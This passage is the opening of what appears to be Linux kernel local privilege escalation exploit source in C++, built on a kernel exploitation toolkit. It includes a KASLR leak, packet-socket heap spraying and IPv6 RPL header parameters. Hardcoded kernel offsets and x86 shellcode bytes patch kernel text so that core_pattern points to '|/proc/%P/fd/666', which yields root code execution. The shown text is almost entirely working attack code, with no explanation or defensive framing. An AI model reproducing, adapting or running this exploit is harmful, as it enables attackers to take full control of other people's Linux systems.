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| #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <arpa/inet.h>
#include <err.h>
#include <errno.h>
#include <exception>
#include <fcntl.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/ip6.h>
#include <netpacket/packet.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <unistd.h>
#include <xdk/core.h>
#include <xdk/postrip.h>
INCBIN(target_db, "target_db.kxdb");
asm(".text");
#ifndef IPV6_SRCRT_TYPE_3
#define IPV6_SRCRT_TYPE_3 3
#endif
#ifndef MFD_EXEC
#define MFD_EXEC 0x0010U
#endif
#ifndef SYS_pidfd_send_signal
#define SYS_pidfd_send_signal 424
#endif
#ifndef SYS_pidfd_open
#define SYS_pidfd_open 434
#endif
#ifndef SYS_pidfd_getfd
#define SYS_pidfd_getfd 438
#endif
#ifndef TPACKET_V3
#define TPACKET_V3 2
#endif
#define SYSCHK(x) \
({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define MAX_RETRY_COUNT 100
#define PAGE_SIZE 0x1000
#define TEXT_PAGE_COUNT 16
#define PATCH_PAGE_WINDOW_OFFSET 0x1e0000ULL
#define CORE_PATTERN_PAYLOAD "|/proc/%P/fd/666"
#define SELF_COPY_MAX 0xffffffffU
#define PATCH_SIZE 72
#define PATCH_QWORDS (PATCH_SIZE / sizeof(uint64_t))
#define PATCH_CORE_PATTERN_REL32_OFF 19
#define PATCH_RET_OFF 56
#define PATCH_RET_NOP_START_OFF 57
#define PATCH_MSLEEP_REL32_OFF 66
#define CORE_PATTERN_STORE_OFFSET 24
#define IPV6_ADDR_LEN 16
#define RPL_BASE_HDR_LEN 8
#define RPL_CMPRI 5
#define RPL_CMPRE 15
#define RPL_SEGMENT_COUNT 5
#define RPL_SEGMENTS_LEFT 2
#define RPL_PAD_LEN 0
#define RPL_TRIGGER_SEGMENT_INDEX 4
#define RPL_MINIMAL_SEND_COUNT 32
#define SPRAY_PG_VEC_NUM 150
#define PGV_HOLE_COUNT 5
#define EXPLOIT_PAYLOAD_LEN 2000
#define EXPLOIT_PACKET_SEND_COUNT PGV_HOLE_COUNT
#define PGV_BLOCK_SIZE PAGE_SIZE
#define PGV_FRAME_SIZE 2048
#define PGV_RETIRE_TIMEOUT_MS 10000
#define PGV_PAGE_COUNT ((PAGE_SIZE - sizeof(uint64_t)) / sizeof(uint64_t))
#define PATCH_TRIGGER_RETRY_COUNT 20
#define PATCH_TRIGGER_RETRY_DELAY_US 100000
#define CORE_PATTERN_POLL_DELAY_US 100000
#define ATTEMPT_TIMEOUT_SEC 30
static unsigned long long xdk_off_entry_syscall_64;
static unsigned long long xdk_off_core_pattern;
static unsigned long long xdk_off_msleep;
static unsigned long long xdk_off_patch_page;
static uint8_t loopback_addr_pattern[6] = {
0, 0, 0xff, 0xff, 0xff, 0xff,
};
static const unsigned long long text_page_signatures[TEXT_PAGE_COUNT] = {
0xed840f0100000821,
0xff08e9fffffff7c7,
0x5e415d415c415dc1,
0xffffffeac0c748ff,
0xfffb38ae8d4902c2,
0x243c814802c6e11c,
0x188bb8b4c0000,
0x4824048b48000188,
0x417501f883410676,
0x5bdf89480136ea3c,
0x4818ec834853fc89,
0x75ea394860438968,
0xf406b8944302454,
0xc2c74801247c8d48,
0x2404c748c031,
0x9090909090909090,
};
static const unsigned long long text_page_patch_offsets[TEXT_PAGE_COUNT] = {
0xde0,
0xbe0,
0x860,
0x7f0,
0x100,
0x6b0,
0xd30,
0xea0,
0x100,
0x1b0,
0,
0x610,
0xb60,
0x790,
0xa20,
0xc0,
};
static const unsigned char text_page_supported[TEXT_PAGE_COUNT] = {
1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 0, 0, 0, 0, 0, 0,
};
static const unsigned char text_page_should_sleep[TEXT_PAGE_COUNT] = {
1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 0, 0, 0, 0, 0, 0,
};
static const uint8_t core_pattern_patch_template[PATCH_SIZE] = {
0x31, 0xd2, 0xb9, 0x82, 0x00, 0x00, 0xc0, 0x0f,
0x32, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x01, 0xc2,
0x48, 0x81, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x48,
0x87, 0xe2, 0x68, 0x20, 0x25, 0x50, 0x00, 0x48,
0xb8, 0x50, 0x2f, 0x66, 0x64, 0x2f, 0x36, 0x36,
0x36, 0x50, 0x48, 0xb8, 0x7c, 0x2f, 0x70, 0x72,
0x6f, 0x63, 0x2f, 0x25, 0x50, 0x48, 0x87, 0xe2,
0x48, 0xc7, 0xc7, 0x00, 0x00, 0x00, 0x07, 0x48,
0x81, 0xea, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd2,
};
static_assert(sizeof(core_pattern_patch_template) == PATCH_SIZE,
"unexpected patch stub length");
static unsigned char core_pattern_patch[PATCH_SIZE];
static unsigned char core_pattern_patch_ret[PATCH_SIZE];
static int spray_pg_vec_fds[SPRAY_PG_VEC_NUM];
static void *spray_pg_vec_maps[SPRAY_PG_VEC_NUM];
static int spray_cmd_pipe[2];
static int spray_status_pipe[2];
static char spray_sync_byte;
static const int pgv_hole_indices[PGV_HOLE_COUNT] = {
55, 66, 77, 88, 99,
};
struct tpacket_req3 {
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
unsigned int tp_frame_nr;
unsigned int tp_retire_blk_tov;
unsigned int tp_sizeof_priv;
unsigned int tp_feature_req_word;
};
struct ipv6_rpl_sr_hdr_wire {
uint8_t nexthdr;
uint8_t hdrlen;
uint8_t type;
uint8_t segments_left;
uint8_t cmpri_cmpre;
uint8_t pad_res;
uint16_t reserved1;
uint8_t data[];
} __attribute__((packed));
static int core_pattern_is_payload(int verbose);
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void die_msg(const char *msg)
{
fprintf(stderr, "%s\n", msg);
exit(1);
}
static void write_filef(const char *path, const char *fmt, ...)
{
char buf[256];
va_list ap;
int fd;
int len;
ssize_t nw;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (len < 0 || (size_t)len >= sizeof(buf))
die_msg("vsnprintf failed");
fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die(path);
nw = write(fd, buf, (size_t)len);
if (nw != len) {
close(fd);
die(path);
}
if (close(fd) < 0)
die("close");
}
static void write_all_or_die(int fd, const void *buf, size_t len)
{
if (write(fd, buf, len) != (ssize_t)len)
die("write");
}
static void read_all_or_die(int fd, void *buf, size_t len)
{
if (read(fd, buf, len) != (ssize_t)len)
die("read");
}
static void sync_signal_parent(void)
{
write_all_or_die(spray_status_pipe[1], &spray_sync_byte, 1);
}
static void sync_wait_parent(void)
{
read_all_or_die(spray_cmd_pipe[0], &spray_sync_byte, 1);
}
static void sync_signal_child(void)
{
write_all_or_die(spray_cmd_pipe[1], &spray_sync_byte, 1);
}
static void sync_wait_child(void)
{
read_all_or_die(spray_status_pipe[0], &spray_sync_byte, 1);
}
static void pin_to_cpu(int cpu)
{
cpu_set_t set;
if (cpu < 0)
return;
CPU_ZERO(&set);
CPU_SET((unsigned int)cpu, &set);
SYSCHK(sched_setaffinity(0, sizeof(set), &set));
}
static void setup_target_offsets(Target &target)
{
target.AddSymbol("entry_SYSCALL_64", 0x1600080ULL);
target.AddSymbol("core_pattern", 0x2fb3440ULL);
target.AddSymbol("patch_page", PATCH_PAGE_WINDOW_OFFSET);
xdk_off_entry_syscall_64 = target.GetSymbolOffset("entry_SYSCALL_64");
xdk_off_core_pattern = target.GetSymbolOffset("core_pattern");
xdk_off_msleep = target.GetSymbolOffset("msleep");
xdk_off_patch_page = target.GetSymbolOffset("patch_page");
}
static uint64_t leak_kaslr_base_xdk(void)
{
try {
static TargetDb kxdb("target_db.kxdb", target_db);
Target target = kxdb.AutoDetectTarget();
setup_target_offsets(target);
uint64_t window_size = target.GetKernelPageCount();
uint64_t base = leak_kaslr_base(window_size, 100, 3);
printf("[.] Target: %s %s\n", target.GetDistro().c_str(),
target.GetReleaseName().c_str());
printf("[.] KASLR window size: %llu pages\n",
(unsigned long long)window_size);
printf("[!] Leaked KASLR base: 0x%llx\n",
(unsigned long long)base);
return base;
} catch (const std::exception &e) {
fprintf(stderr, "[-] kernelXDK failed: %s\n", e.what());
exit(1);
}
}
static void payload_set_bytes(Payload &payload, size_t offset,
const uint8_t *src, size_t len)
{
payload.Set(offset, (void *)src, len);
}
static void build_sleeping_core_pattern_patch(Payload &payload)
{
payload_set_bytes(payload, 0, core_pattern_patch_template,
PATCH_CORE_PATTERN_REL32_OFF);
payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF,
(uint32_t)(xdk_off_core_pattern +
CORE_PATTERN_STORE_OFFSET -
xdk_off_entry_syscall_64));
payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t),
&core_pattern_patch_template
[PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)],
PATCH_MSLEEP_REL32_OFF -
(PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)));
payload.SetU32(PATCH_MSLEEP_REL32_OFF,
(uint32_t)(xdk_off_core_pattern - xdk_off_msleep));
payload_set_bytes(payload, PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t),
&core_pattern_patch_template
[PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t)],
PATCH_SIZE -
(PATCH_MSLEEP_REL32_OFF + sizeof(uint32_t)));
}
static void build_returning_core_pattern_patch(Payload &payload)
{
static const uint8_t ret_opcode = 0xc3;
uint8_t nops[PATCH_SIZE - PATCH_RET_NOP_START_OFF];
payload_set_bytes(payload, 0, core_pattern_patch_template,
PATCH_CORE_PATTERN_REL32_OFF);
payload.SetU32(PATCH_CORE_PATTERN_REL32_OFF,
(uint32_t)(xdk_off_core_pattern +
CORE_PATTERN_STORE_OFFSET -
xdk_off_entry_syscall_64));
payload_set_bytes(payload, PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t),
&core_pattern_patch_template
[PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)],
PATCH_RET_OFF -
(PATCH_CORE_PATTERN_REL32_OFF + sizeof(uint32_t)));
payload_set_bytes(payload, PATCH_RET_OFF, &ret_opcode,
sizeof(ret_opcode));
memset(nops, 0x90, sizeof(nops));
payload_set_bytes(payload, PATCH_RET_NOP_START_OFF, nops, sizeof(nops));
}
static void rip_build_core_pattern_patches(void)
{
Payload sleeping_patch(PATCH_SIZE);
Payload returning_patch(PATCH_SIZE);
std::vector<uint8_t> sleeping_patch_data;
std::vector<uint8_t> returning_patch_data;
build_sleeping_core_pattern_patch(sleeping_patch);
build_returning_core_pattern_patch(returning_patch);
sleeping_patch_data = sleeping_patch.GetData();
returning_patch_data = returning_patch.GetData();
memcpy(core_pattern_patch, sleeping_patch_data.data(), PATCH_SIZE);
memcpy(core_pattern_patch_ret, returning_patch_data.data(), PATCH_SIZE);
}
static void rip_trigger_module_autoload(void)
{
for (int family = 40; family < 56; family++) {
int fd = socket(family, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd >= 0)
close(fd);
}
}
static void rip_trigger_workqueue_activity(void)
{
rip_trigger_module_autoload();
sync();
}
static void rip_trigger_patch_page(int page)
{
int pidfd;
struct rlimit oldlim;
struct rusage ru;
struct sysinfo si;
struct utsname u;
switch (page) {
case 0:
pidfd = (int)syscall(SYS_pidfd_open, getpid(), 0);
if (pidfd >= 0) {
(void)syscall(SYS_pidfd_send_signal, pidfd, 0,
(siginfo_t *)NULL, 0);
close(pidfd);
}
break;
case 1:
(void)umask(022);
break;
case 2:
(void)uname(&u);
break;
case 3:
(void)sysinfo(&si);
break;
case 4:
(void)setpriority(PRIO_PROCESS, 0, 10);
break;
case 5:
(void)syscall(SYS_prlimit64, 0, RLIMIT_NOFILE, (void *)NULL,
&oldlim);
break;
case 6:
if (setuid(getuid()) < 0)
break;
break;
case 7:
(void)getrusage(RUSAGE_SELF, &ru);
break;
case 8:
(void)prctl(PR_SET_NAME, "hit_syscalls", 0, 0, 0);
break;
case 9:
case 11:
case 12:
case 13:
case 14:
case 15:
rip_trigger_workqueue_activity();
break;
}
}
static void spray_packet_rx_ring_init(int fd, unsigned int block_size,
unsigned int frame_size,
unsigned int block_nr,
unsigned int sizeof_priv,
unsigned int timeout)
{
int version = TPACKET_V3;
struct tpacket_req3 req;
SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version,
sizeof(version)));
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
SYSCHK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)));
}
static int spray_packet_socket_setup(unsigned int block_size,
unsigned int frame_size,
unsigned int block_nr,
|
